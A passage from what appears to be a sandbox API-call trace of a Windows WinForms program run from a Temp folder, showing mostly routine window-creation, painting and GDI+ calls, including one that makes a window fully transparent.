hWnd=0x202fe, Msg=0x81, wParam=0x0, lParam=0x21cbe0) returned 0x1 [0128.995] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x83, wParam=0x0, lParam=0x21cc80) returned 0x0 [0128.995] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x1, wParam=0x0, lParam=0x21cbd0) returned 0x0 [0128.995] GetClientRect (in: hWnd=0x202fe, lpRect=0x21c3e0 | out: lpRect=0x21c3e0) returned 1 [0128.995] GetWindowRect (in: hWnd=0x202fe, lpRect=0x21c3e0 | out: lpRect=0x21c3e0) returned 1 [0128.998] SetWindowTextW (hWnd=0x202fe, lpString="S") returned 1 [0128.998] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xc, wParam=0x0, lParam=0x282e350) returned 0x1 [0128.998] SetLayeredWindowAttributes (hwnd=0x202fe, crKey=0xf0f0f0, bAlpha=0x0, dwFlags=0x3) returned 1 [0128.999] GetStartupInfoW (in: lpStartupInfo=0x282e850 | out: lpStartupInfo=0x282e850*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0128.999] GetParent (hWnd=0x202fe) returned 0x0 [0129.002] GetStockObject (i=5) returned 0x1900015 [0129.003] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0129.004] CoTaskMemAlloc (cb=0x4c) returned 0x2fe570 [0129.004] RegisterClassW (lpWndClass=0x21d1f0) returned 0xc1d3 [0129.004] CoTaskMemFree (pv=0x2fe570) [0129.005] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0129.005] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1380000, lpParam=0x0) returned 0x20300 [0129.005] SetWindowLongPtrW (hWnd=0x20300, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa225dc [0129.005] GetWindowLongPtrW (hWnd=0x20300, nIndex=-4) returned 0x772ab0ac [0129.005] SetWindowLongPtrW (hWnd=0x20300, nIndex=-4, dwNewLong=0xa2262c) returned 0x772ab0ac [0129.006] GetWindowLongPtrW (hWnd=0x20300, nIndex=-4) returned 0xa2262c [0129.006] GetWindowLongPtrW (hWnd=0x20300, nIndex=-16) returned 0x4c00000 [0129.006] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x24, wParam=0x0, lParam=0x21cc30) returned 0x0 [0129.006] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x81, wParam=0x0, lParam=0x21cbb0) returned 0x1 [0129.006] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x83, wParam=0x0, lParam=0x21cc50) returned 0x0 [0129.007] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x1, wParam=0x0, lParam=0x21cbb0) returned 0x0 [0129.007] SetWindowLongPtrW (hWnd=0x202fe, nIndex=-8, dwNewLong=0x20300) returned 0x0 [0129.007] SendMessageW (hWnd=0x202fe, Msg=0x80, wParam=0x0, lParam=0xa02c1) returned 0x0 [0129.007] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x80, wParam=0x0, lParam=0xa02c1) returned 0x0 [0129.008] SendMessageW (hWnd=0x202fe, Msg=0x80, wParam=0x1, lParam=0x501ff) returned 0x0 [0129.008] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x80, wParam=0x1, lParam=0x501ff) returned 0x0 [0129.009] GetSystemMenu (hWnd=0x202fe, bRevert=0) returned 0x0 [0129.009] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21d400 | out: lpwndpl=0x21d400) returned 1 [0129.009] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0129.009] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0129.009] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0129.009] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0129.009] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0129.009] GetClientRect (in: hWnd=0x202fe, lpRect=0x21d520 | out: lpRect=0x21d520) returned 1 [0129.009] GetClientRect (in: hWnd=0x202fe, lpRect=0x21d400 | out: lpRect=0x21d400) returned 1 [0129.009] GetWindowRect (in: hWnd=0x202fe, lpRect=0x21d400 | out: lpRect=0x21d400) returned 1 [0129.009] SetWindowPos (hWnd=0x202fe, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0129.009] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x46, wParam=0x0, lParam=0x21d3c0) returned 0x0 [0129.014] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0129.059] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21ce40 | out: lpwndpl=0x21ce40) returned 1 [0129.061] GetClientRect (in: hWnd=0x202fe, lpRect=0x21ccf0 | out: lpRect=0x21ccf0) returned 1 [0129.064] GetWindowTextLengthW (hWnd=0x202fe) returned 1 [0129.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0129.064] GetSystemMetrics (nIndex=42) returned 0 [0129.064] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e3d0 [0129.064] GetWindowTextW (in: hWnd=0x202fe, lpString=0x1ae8e3d0, nMaxCount=2 | out: lpString="S") returned 1 [0129.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xd, wParam=0x2, lParam=0x1ae8e3d0) returned 0x1 [0129.064] CoTaskMemFree (pv=0x1ae8e3d0) [0129.065] GetClientRect (in: hWnd=0x202fe, lpRect=0x21ca90 | out: lpRect=0x21ca90) returned 1 [0129.074] GdipCreateHalftonePalette () returned 0x1c080b77 [0129.076] SelectPalette (hdc=0x3010b83, hPal=0x1c080b77, bForceBkgd=1) returned 0x188000b [0129.076] GdipCreateFromHDC (hdc=0x3010b83, graphics=0x21c660) returned 0x0 [0129.081] GdipSetPageUnit (graphics=0x1b10d2b0, unit=0x2) returned 0x0 [0129.085] GdipCreateMatrix (matrix=0x21c550) returned 0x0 [0129.087] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b0041a0) returned 0x0 [0129.089] GdipIsMatrixIdentity (matrix=0x1b0041a0, result=0x21c5b0) returned 0x0 [0129.090] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.092] GdipDeleteMatrix (matrix=0x1b0041a0) returned 0x0 [0129.104] GdipCreateRegion (region=0x21c550) returned 0x0 [0129.107] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.112] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21c580) returned 0x0 [0129.114] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.116] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.118] GdipSaveGraphics (graphics=0x1b10d2b0, state=0x21c650) returned 0x0 [0129.125] GdipCreateRegion (region=0x21c520) returned 0x0 [0129.125] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.125] GdipCreateMatrix (matrix=0x21c520) returned 0x0 [0129.125] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b07e780) returned 0x0 [0129.126] GdipIsMatrixIdentity (matrix=0x1b07e780, result=0x21c580) returned 0x0 [0129.129] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ae8bb30 [0129.130] GdipGetMatrixElements (matrix=0x1b07e780, matrixOut=0x1ae8bb30) returned 0x0 [0129.132] LocalFree (hMem=0x1ae8bb30) returned 0x0 [0129.132] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.132] GdipDeleteMatrix (matrix=0x1b07e780) returned 0x0 [0129.133] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21c5d0) returned 0x0 [0129.133] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.133] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.134] GdipGetDC (graphics=0x1b10d2b0, hdc=0x21c600) returned 0x0 [0129.137] GetCurrentObject (hdc=0x3010b83, type=0x1) returned 0x1b00017 [0129.137] GetCurrentObject (hdc=0x3010b83, type=0x2) returned 0x1900010 [0129.137] GetCurrentObject (hdc=0x3010b83, type=0x7) returned 0x3805018d [0129.137] GetCurrentObject (hdc=0x3010b83, type=0x6) returned 0x18a002e [0129.146] SaveDC (hdc=0x3010b83) returned 1 [0129.150] OffsetViewportOrgEx (in: hdc=0x3010b83, x=0, y=0, lppt=0x282f290 | out: lppt=0x282f290) returned 1 [0129.153] GetNearestColor (hdc=0x3010b83, color=0xf0f0f0) returned 0xf0f0f0 [0129.160] CreateSolidBrush (color=0xf0f0f0) returned 0x3a100191 [0129.163] FillRect (hDC=0x3010b83, lprc=0x21c5d0, hbr=0x3a100191) returned 1 [0129.165] DeleteObject (ho=0x3a100191) returned 1 [0129.171] RestoreDC (hdc=0x3010b83, nSavedDC=-1) returned 1 [0129.179] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.181] GdipReleaseDC (graphics=0x1b10d2b0, hdc=0x3010b83) returned 0x0 [0129.181] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.181] GdipDeleteGraphics (graphics=0x1b10d2b0) returned 0x0 [0129.181] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x1c080b77 [0129.181] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21ce20 | out: lpwndpl=0x21ce20) returned 1 [0129.181] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x47, wParam=0x0, lParam=0x21d3c0) returned 0x0 [0129.182] GetClientRect (in: hWnd=0x202fe, lpRect=0x21cbc0 | out: lpRect=0x21cbc0) returned 1 [0129.182] GetWindowRect (in: hWnd=0x202fe, lpRect=0x21cbc0 | out: lpRect=0x21cbc0) returned 1 [0129.183] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x83, wParam=0x1, lParam=0x21cd20) returned 0x0 [0129.189] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0129.190] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21c7d0 | out: lpwndpl=0x21c7d0) returned 1 [0129.190] GetClientRect (in: hWnd=0x202fe, lpRect=0x21c680 | out: lpRect=0x21c680) returned 1 [0129.190] GetWindowTextLengthW (hWnd=0x202fe) returned 1 [0129.190] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0129.190] GetSystemMetrics (nIndex=42) returned 0 [0129.191] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e3d0 [0129.191] GetWindowTextW (in: hWnd=0x202fe, lpString=0x1ae8e3d0, nMaxCount=2 | out: lpString="S") returned 1 [0129.191] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xd, wParam=0x2, lParam=0x1ae8e3d0) returned 0x1 [0129.191] CoTaskMemFree (pv=0x1ae8e3d0) [0129.191] GetClientRect (in: hWnd=0x202fe, lpRect=0x21c420 | out: lpRect=0x21c420) returned 1 [0129.191] SelectPalette (hdc=0x1010b9d, hPal=0x1c080b77, bForceBkgd=1) returned 0x188000b [0129.191] GdipCreateFromHDC (hdc=0x1010b9d, graphics=0x21bff0) returned 0x0 [0129.191] GdipSetPageUnit (graphics=0x1b10d2b0, unit=0x2) returned 0x0 [0129.191] GdipCreateMatrix (matrix=0x21bee0) returned 0x0 [0129.191] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b0041a0) returned 0x0 [0129.191] GdipIsMatrixIdentity (matrix=0x1b0041a0, result=0x21bf40) returned 0x0 [0129.192] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.192] GdipDeleteMatrix (matrix=0x1b0041a0) returned 0x0 [0129.192] GdipCreateRegion (region=0x21bee0) returned 0x0 [0129.192] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.192] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21bf10) returned 0x0 [0129.192] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.192] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.192] GdipSaveGraphics (graphics=0x1b10d2b0, state=0x21bfe0) returned 0x0 [0129.192] GdipCreateRegion (region=0x21beb0) returned 0x0 [0129.192] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.192] GdipCreateMatrix (matrix=0x21beb0) returned 0x0 [0129.192] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b07e780) returned 0x0 [0129.192] GdipIsMatrixIdentity (matrix=0x1b07e780, result=0x21bf10) returned 0x0 [0129.192] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ae8bb30 [0129.192] GdipGetMatrixElements (matrix=0x1b07e780, matrixOut=0x1ae8bb30) returned 0x0 [0129.193] LocalFree (hMem=0x1ae8bb30) returned 0x0 [0129.193] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.193] GdipDeleteMatrix (matrix=0x1b07e780) returned 0x0 [0129.193] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21bf60) returned 0x0 [0129.193] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.193] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.193] GdipGetDC (graphics=0x1b10d2b0, hdc=0x21bf90) returned 0x0 [0129.193] GetCurrentObject (hdc=0x1010b9d, type=0x1) returned 0x1b00017 [0129.194] GetCurrentObject (hdc=0x1010b9d, type=0x2) returned 0x1900010 [0129.194] GetCurrentObject (hdc=0x1010b9d, type=0x7) returned 0x3805018d [0129.194] GetCurrentObject (hdc=0x1010b9d, type=0x6) returned 0x18a002e [0129.194] SaveDC (hdc=0x1010b9d) returned 1 [0129.194] OffsetViewportOrgEx (in: hdc=0x1010b9d, x=0, y=0, lppt=0x282f8d8 | out: lppt=0x282f8d8) returned 1 [0129.194] GetNearestColor (hdc=0x1010b9d, color=0xf0f0f0) returned 0xf0f0f0 [0129.194] CreateSolidBrush (color=0xf0f0f0) returned 0x3b100191 [0129.194] FillRect (hDC=0x1010b9d, lprc=0x21bf60, hbr=0x3b100191) returned 1 [0129.194] DeleteObject (ho=0x3b100191) returned 1 [0129.195] RestoreDC (hdc=0x1010b9d, nSavedDC=-1) returned 1 [0129.195] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.195] GdipReleaseDC (graphics=0x1b10d2b0, hdc=0x1010b9d) returned 0x0 [0129.195] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.195] GdipDeleteGraphics (graphics=0x1b10d2b0) returned 0x0 [0129.195] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x1c080b77 [0129.195] SetWindowLongPtrW (hWnd=0x202fe, nIndex=-8, dwNewLong=0x20300) returned 0x20300 [0129.197] SendMessageW (hWnd=0x20300, Msg=0x80, wParam=0x1, lParam=0x501ff) returned 0x0 [0129.197] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x80, wParam=0x1, lParam=0x501ff) returned 0x0 [0129.198] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0xd, wParam=0x104, lParam=0x12f4850) returned 0x0 [0129.198] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0xd, wParam=0x104, lParam=0x12f4850) returned 0x0 [0129.198] GetWindowLongPtrW (hWnd=0x202fe, nIndex=-16) returned 0x16c10000 [0129.198] GetWindowLongPtrW (hWnd=0x202fe, nIndex=-16) returned 0x16c10000 [0129.198] GetWindowLongPtrW (hWnd=0x202fe, nIndex=-20) returned 0x90100 [0129.198] SetWindowLongPtrW (hWnd=0x202fe, nIndex=-16, dwNewLong=0x12010000) returned 0x16c10000 [0129.198] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x21d440) returned 0x0 [0129.198] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x21d440) returned 0x0 [0129.199] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x46, wParam=0x0, lParam=0x21c670) returned 0x0 [0129.199] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x83, wParam=0x1, lParam=0x21c640) returned 0x0 [0129.203] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0129.203] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21c0f0 | out: lpwndpl=0x21c0f0) returned 1 [0129.203] GetClientRect (in: hWnd=0x202fe, lpRect=0x21bfa0 | out: lpRect=0x21bfa0) returned 1 [0129.203] GetWindowTextLengthW (hWnd=0x202fe) returned 1 [0129.203] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0129.204] GetSystemMetrics (nIndex=42) returned 0 [0129.204] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e3d0 [0129.204] GetWindowTextW (in: hWnd=0x202fe, lpString=0x1ae8e3d0, nMaxCount=2 | out: lpString="S") returned 1 [0129.204] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xd, wParam=0x2, lParam=0x1ae8e3d0) returned 0x1 [0129.204] CoTaskMemFree (pv=0x1ae8e3d0) [0129.204] GetClientRect (in: hWnd=0x202fe, lpRect=0x21bd40 | out: lpRect=0x21bd40) returned 1 [0129.204] SelectPalette (hdc=0x2d010b73, hPal=0x1c080b77, bForceBkgd=1) returned 0x188000b [0129.204] GdipCreateFromHDC (hdc=0x2d010b73, graphics=0x21b910) returned 0x0 [0129.204] GdipSetPageUnit (graphics=0x1b10d2b0, unit=0x2) returned 0x0 [0129.204] GdipCreateMatrix (matrix=0x21b800) returned 0x0 [0129.204] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b0041a0) returned 0x0 [0129.204] GdipIsMatrixIdentity (matrix=0x1b0041a0, result=0x21b860) returned 0x0 [0129.204] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.204] GdipDeleteMatrix (matrix=0x1b0041a0) returned 0x0 [0129.205] GdipCreateRegion (region=0x21b800) returned 0x0 [0129.205] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.205] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21b830) returned 0x0 [0129.205] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.205] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.205] GdipSaveGraphics (graphics=0x1b10d2b0, state=0x21b900) returned 0x0 [0129.205] GdipCreateRegion (region=0x21b7d0) returned 0x0 [0129.205] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.205] GdipCreateMatrix (matrix=0x21b7d0) returned 0x0 [0129.205] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b07e780) returned 0x0 [0129.205] GdipIsMatrixIdentity (matrix=0x1b07e780, result=0x21b830) returned 0x0 [0129.205] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ae8bb30 [0129.205] GdipGetMatrixElements (matrix=0x1b07e780, matrixOut=0x1ae8bb30) returned 0x0 [0129.206] LocalFree (hMem=0x1ae8bb30) returned 0x0 [0129.206] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.206] GdipDeleteMatrix (matrix=0x1b07e780) returned 0x0 [0129.206] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21b880) returned 0x0 [0129.206] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.206] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.206] GdipGetDC (graphics=0x1b10d2b0, hdc=0x21b8b0) returned 0x0 [0129.206] GetCurrentObject (hdc=0x2d010b73, type=0x1) returned 0x1b00017 [0129.207] GetCurrentObject (hdc=0x2d010b73, type=0x2) returned 0x1900010 [0129.207] GetCurrentObject (hdc=0x2d010b73, type=0x7) returned 0x3805018d [0129.207] GetCurrentObject (hdc=0x2d010b73, type=0x6) returned 0x18a002e [0129.207] SaveDC (hdc=0x2d010b73) returned 1 [0129.207] OffsetViewportOrgEx (in: hdc=0x2d010b73, x=0, y=0, lppt=0x282fe10 | out: lppt=0x282fe10) returned 1 [0129.207] GetNearestColor (hdc=0x2d010b73, color=0xf0f0f0) returned 0xf0f0f0 [0129.208] CreateSolidBrush (color=0xf0f0f0) returned 0x3c100191 [0129.208] FillRect (hDC=0x2d010b73, lprc=0x21b880, hbr=0x3c100191) returned 1 [0129.208] DeleteObject (ho=0x3c100191) returned 1 [0129.208] RestoreDC (hdc=0x2d010b73, nSavedDC=-1) returned 1 [0129.209] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.209] GdipReleaseDC (graphics=0x1b10d2b0, hdc=0x2d010b73) returned 0x0 [0129.209] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.209] GdipDeleteGraphics (graphics=0x1b10d2b0) returned 0x0 [0129.209] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x1c080b77 [0129.209] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21c0d0 | out: lpwndpl=0x21c0d0) returned 1 [0129.209] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x47, wParam=0x0, lParam=0x21c670) returned 0x0 [0129.209] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x3, wParam=0x0, lParam=0x7d007d) returned 0x0 [0129.209] GetClientRect (in: hWnd=0x202fe, lpRect=0x21b380 | out: lpRect=0x21b380) returned 1 [0129.209] GetWindowRect (in: hWnd=0x202fe, lpRect=0x21b380 | out: lpRect=0x21b380) returned 1 [0129.209] GetWindowTextLengthW (hWnd=0x202fe) returned 1 [0129.210] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0129.210] GetSystemMetrics (nIndex=42) returned 0 [0129.210] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e3d0 [0129.210] GetWindowTextW (in: hWnd=0x202fe, lpString=0x1ae8e3d0, nMaxCount=2 | out: lpString="S") returned 1 [0129.210] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xd, wParam=0x2, lParam=0x1ae8e3d0) returned 0x1 [0129.210] CoTaskMemFree (pv=0x1ae8e3d0) [0129.210] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x5, wParam=0x0, lParam=0x260084) returned 0x0 [0129.210] GetClientRect (in: hWnd=0x202fe, lpRect=0x21be70 | out: lpRect=0x21be70) returned 1 [0129.210] GetWindowRect (in: hWnd=0x202fe, lpRect=0x21be70 | out: lpRect=0x21be70) returned 1 [0129.211] SetWindowLongPtrW (hWnd=0x202fe, nIndex=-20, dwNewLong=0x90000) returned 0x90000 [0129.211] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x21d440) returned 0x0 [0129.211] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x21d440) returned 0x0 [0129.211] SetWindowPos (hWnd=0x202fe, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0129.211] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x46, wParam=0x0, lParam=0x21d4e0) returned 0x0 [0129.211] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x83, wParam=0x1, lParam=0x21d4b0) returned 0x0 [0129.215] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0129.215] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21cf60 | out: lpwndpl=0x21cf60) returned 1 [0129.215] GetClientRect (in: hWnd=0x202fe, lpRect=0x21ce10 | out: lpRect=0x21ce10) returned 1 [0129.215] GetWindowTextLengthW (hWnd=0x202fe) returned 1 [0129.215] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0129.215] GetSystemMetrics (nIndex=42) returned 0 [0129.215] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e3d0 [0129.216] GetWindowTextW (in: hWnd=0x202fe, lpString=0x1ae8e3d0, nMaxCount=2 | out: lpString="S") returned 1 [0129.216] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xd, wParam=0x2, lParam=0x1ae8e3d0) returned 0x1 [0129.216] CoTaskMemFree (pv=0x1ae8e3d0) [0129.216] GetClientRect (in: hWnd=0x202fe, lpRect=0x21cbb0 | out: lpRect=0x21cbb0) returned 1 [0129.216] SelectPalette (hdc=0x2d010b73, hPal=0x1c080b77, bForceBkgd=1) returned 0x188000b [0129.216] GdipCreateFromHDC (hdc=0x2d010b73, graphics=0x21c780) returned 0x0 [0129.216] GdipSetPageUnit (graphics=0x1b10d2b0, unit=0x2) returned 0x0 [0129.216] GdipCreateMatrix (matrix=0x21c670) returned 0x0 [0129.216] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b0041a0) returned 0x0 [0129.216] GdipIsMatrixIdentity (matrix=0x1b0041a0, result=0x21c6d0) returned 0x0 [0129.216] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.217] GdipDeleteMatrix (matrix=0x1b0041a0) returned 0x0 [0129.217] GdipCreateRegion (region=0x21c670) returned 0x0 [0129.217] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.217] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21c6a0) returned 0x0 [0129.217] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.217] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.217] GdipSaveGraphics (graphics=0x1b10d2b0, state=0x21c770) returned 0x0 [0129.217] GdipCreateRegion (region=0x21c640) returned 0x0 [0129.217] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.217] GdipCreateMatrix (matrix=0x21c640) returned 0x0 [0129.217] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b07e780) returned 0x0 [0129.218] GdipIsMatrixIdentity (matrix=0x1b07e780, result=0x21c6a0) returned 0x0 [0129.218] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ae8bb30 [0129.218] GdipGetMatrixElements (matrix=0x1b07e780, matrixOut=0x1ae8bb30) returned 0x0 [0129.218] LocalFree (hMem=0x1ae8bb30) returned 0x0 [0129.219] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.219] GdipDeleteMatrix (matrix=0x1b07e780) returned 0x0 [0129.219] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21c6f0) returned 0x0 [0129.219] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.219] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.219] GdipGetDC (graphics=0x1b10d2b0, hdc=0x21c720) returned 0x0 [0129.219] GetCurrentObject (hdc=0x2d010b73, type=0x1) returned 0x1b00017 [0129.219] GetCurrentObject (hdc=0x2d010b73, type=0x2) returned 0x1900010 [0129.220] GetCurrentObject (hdc=0x2d010b73, type=0x7) returned 0x3805018d [0129.220] GetCurrentObject (hdc=0x2d010b73, type=0x6) returned 0x18a002e [0129.220] SaveDC (hdc=0x2d010b73) returned 1 [0129.220] OffsetViewportOrgEx (in: hdc=0x2d010b73, 